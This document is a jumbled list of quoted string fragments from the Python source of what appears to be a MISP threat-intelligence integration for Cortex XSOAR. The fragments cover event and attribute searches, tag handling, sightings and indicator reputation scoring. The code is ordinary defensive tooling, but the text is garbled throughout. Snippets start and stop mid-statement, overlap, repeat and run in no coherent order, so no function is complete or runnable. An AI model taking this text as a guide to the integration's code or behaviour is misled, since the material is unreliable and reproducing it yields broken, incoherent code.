limit and limit", "search-events output as the information is too big. User can", "be added to related_events list Args: object_data_dict (dict): Event or", "demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if", "= build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page", "note: attributes are excluded from search-events output as the information", "attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if", "attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute':", "0: raise DemistoException(f\"Tag id has to be a positive integer,", "the event ids as the greater event ids are the", "attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag):", "None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username,", "event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response:", "value (str): The indicator value (an IP address, email address,", "related_events list Args: object_data_dict (dict): Event or attribute dict which", "elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids,", "set to True, will not post results to Demisto demisto_args", "attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag,", "params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API", "it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors'", "attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event", "'0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute", "replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event,", "MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id =", "to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips =", "a field called inherited. When it is set to 1", "raise DemistoException('Invalid hash length, enter file hash of format MD5,", "should be found. Returns: list includes all the events that", "args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are", "url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return", "found in MISP for the given filters: {args}\") def build_events_search_response(response:", "for event in events_to_human_readable: # removing those fields as they", "e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in", "'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email", "in MISP for the given filters: {args}\") def delete_event(demisto_args: dict):", "\"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id", "number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\",", "add it to tag_set_ids. In any other case, we won't", "tag.get('inherited', 0) # field doesn't exist when this is an", "'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description',", "outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid)", "formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to MISP", "field called inherited. When it is set to 1 it", "{}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has", "enter file hash of format MD5, SHA-1 or SHA-256') if", "formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type:", "response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been", "= prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit =", "results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When", "'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true'", "tag (id) which made the indicator to get that score", "in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp']", "from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject", "should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'},", "When it is set to 1 it says that it", "a timestamp from MISP response (1546713469) and converts it to", "not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids", "event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event", "\"\"\" Gets an event id and deletes it. \"\"\" event_id", "that may exist\" else: pagination_message += f\"Showing page {page}\" md", "= demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id,", "search-attributes in order to get the information about the attributes.", "to the context output format. \"\"\" response_object = copy.deepcopy(response) if", "tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag =", "please note: attributes are excluded from search-events output as the", "with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored", "return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type ==", "if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') ==", "include_correlations: # return full related attributes only if the user", "[] # there is no need in returning related event", "to an attribute we would like to add it to", "attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list event", "\"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if", "command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type,", "suspicious tag ids set and will be stayed only in", "to add attribute to internal (bool): if set to True,", "or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise", "';' as delimiter for operators. using the operators is optional.", "1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if", "MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function", "pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\"page", "'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To", "'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email',", "= demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability =", "level id is in [1,2,3]. Otherwise, the threat level is", "indicator will be scored as malicious. - Attributes tags (both", "[\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message", "'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count',", "set and will be stayed only in the malicious one", "args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as", "to be malicious is stronger than recognised as suspicious). \"\"\"", "type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response", "import Union, List, Dict from urllib.parse import urlparse import urllib3", "limits the tags and galaxies lists. Eventually, the outputs will", "threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg)", "dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into a", "return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp']", "attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise", "(i.e suspicious). * don't have any tags configured as suspicious", "attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'),", "'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id',", "response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully", "args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] =", "{'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return", "'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]:", "reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be", "tag that was scored as malicious or suspicious. event_name (str):", "attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events)", "== 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif", "[1,2,3]. Otherwise, the threat level is 4 = Unknown. note:", "called as an independence command or as part of another", "message: {response}') else: human_readable = f'Event {event_id} has been deleted'", "If no tag was found, then the score is Unknown", "event will be added to related_events list Args: object_data_dict (dict):", "return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==", "all the tags are valid positive integers.\"\"\" for tag in", "and limit < 0: raise DemistoException(\"limit should be zero or", "return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command ==", "{}, new_event: MISPEvent = None): \"\"\"Adding attribute to a given", "will remove tag to given UUID of event or attribute.", "is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in", "'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1", "f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}' return", "returned from MISP to the context output format. please note:", "are valid positive integers.\"\"\" for tag in tag_ids: try: tag", ") except ValueError as e: raise DemistoException(f'URL [{url}] is not", "None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if", "will be scored as malicious. - Attributes tags (both malicious", "replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids,", "not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is", "command search-attributes in order to get the information about the", "if page and page < 0: raise DemistoException(\"page should be", "outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids'))", "The score is calculated by the tags ids (attribute tags", "score is Unknown so no events should be found. Returns:", "was scored as malicious or suspicious. event_name (str): Name of", "DemistoException(\"page should be zero or a positive number\") if limit", "response, for more information and examples please see UT: test_extract_error.", "not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is", "has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise", "command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True))", "THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown':", "add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port',", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args:", "args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args:", "is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: #", "'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution':", "is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag,", "= event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events)", "i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in", "in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag", "misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ]", "a SSLCertVerificationError, ' 'Please try to use the Trust any", "new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event)", "= MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if", "item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if", "obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in", "for attribute in response: event = attribute.get('Event', {}) attribute_tags =", "found, then the score is Unknown so no events should", "else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if", "if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in", "found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable: #", "as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) :", "= GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) ->", "== 'Unknown': raise DemistoException('Invalid hash length, enter file hash of", "= attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited',", "[ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for", "'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's", "handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to MISP", "level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id)", "DemistoException( f\"Error: An event with the given id: {event_id} was", "None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id})", "malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following", "= THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg", "'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen':", "obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\"", "\\'{sighting_type}\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable)", "suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag :=", "format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full", "args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response:", "module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute", "hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value)", "demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen')", "in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD,", "UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =", "response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error", "arguments to create the generic object Returns: GenericObjectGenerator: object created", "found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event", "positive integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args:", "attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response,", "event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email',", "MISP. please check it once again\") new_event = response[0] #", "[]) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def", "# type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES)", "related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name):", "return full related attributes only if the user wants to", "event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return", "in unnecessary data, we want to limit this list to", "added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',", "the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) ->", "'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command ==", "attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings,", "attribute to internal (bool): if set to True, will not", "Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]):", "V3 error: Please provide a valid value for the Source", "event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute,", "dictionary that includes the tag list. is_event_level (bool): Whether the", "\"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args:", "= event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if", "as malicious will be scored 3 (i.e malicious). * have", "exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag", "the tag. \"\"\" scored_events = [] if found_tag: for attribute", "Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}]", "args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0", "datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str])", "or attribute dict which includes tags list. found_tag (str): The", "argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score'", "found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\"", "called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy':", "given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event", "for tag in tag_ids: try: tag = int(tag) if tag", "event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] =", "misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's", "events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total", "complex query or if no complex query found returns the", "{ 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS =", "isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP", "= MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg]", "def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will", "else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else", "will be added to related_events list Args: object_data_dict (dict): Event", "format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build:", "'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for", "= any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids)", "if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}')", "the found tag ids. Some tags have a field called", "'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info':", "f'Tag {tag} has been successfully added to event {uuid}' return", "if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id,", "= demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen =", "DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError message:", "params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP =", "'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score',", "'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in", "outputs will be a list of attributes along with their", "dict into a list, please see GenericObjectGenerator Class in Pymisp.", "the threat level id is in [1,2,3]. Otherwise, the threat", "\"\"\" After getting all the attributes which match the required", "if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type ==", "if key in events[i]} events[i]['RelatedEvent'] = [] # there is", "an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] =", "no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return", "reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the", "attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults(", "be written to the context Returns: CommandResults includes all the", "tag. Otherwise (if it is set to 0 or not", "misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command:", "-> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args =", "In case the same tag appears in both Malicious tag", "event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"')", "'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with", "event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights", "set the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object", "that found (after limit the attributes amount to the given", "internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP", "= [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list:", "Suspicious tag ids lists the indicator will be scored as", "data is event's (is_event_level = true) we would like to", "return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value)", "else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else:", "except ValueError: raise DemistoException(f\"Tag id has to be a positive", "attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'),", "star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy']", "'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute':", "see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved", "= replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def", "size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page", "MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute,", "any]]: filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'),", "'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results(", "'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0,", "\"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict,", "valid\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise", "dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True,", "an example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response", "params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability", "PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added", "f\"## MISP create event\\nNew event with ID: {event_id} has been", "or as part of another command (create event for example)", "command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif", "def get_new_misp_event_object(args): \"\"\" Create a new MISP event object and", "will be written to the context Returns: CommandResults includes all", "Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}},", "raise DemistoException(f'URL [{url}] is not a valid MISP feed. error:", "human_readable = f'Tag {tag} has been successfully removed from the", "'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event',", "related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def", "to context data (array of attributes). score: the indicator score", "not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format:", "Union, List, Dict from urllib.parse import urlparse import urllib3 from", "and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event,", "warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn '''", "[tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None", "add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template =", "user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str):", "PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint',", "{response}') else: human_readable = f'Event {event_id} has been deleted' return", "events that were detected as related to the tag. \"\"\"", "attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i])", "may exist\" else: pagination_message += f\"Showing page {page}\" md =", "in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response =", "return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command", "outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal:", "= True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format", "'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit):", "outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP", "amount to the given limit) and by sub-functions calculated the", "to MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id,", "{len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,", "'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true'", "not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP", "== \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return", "= r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE)", "it's dbot score. The score is calculated by the tags", "attribute search returned from MISP to the context output format.", "None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None", "attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in 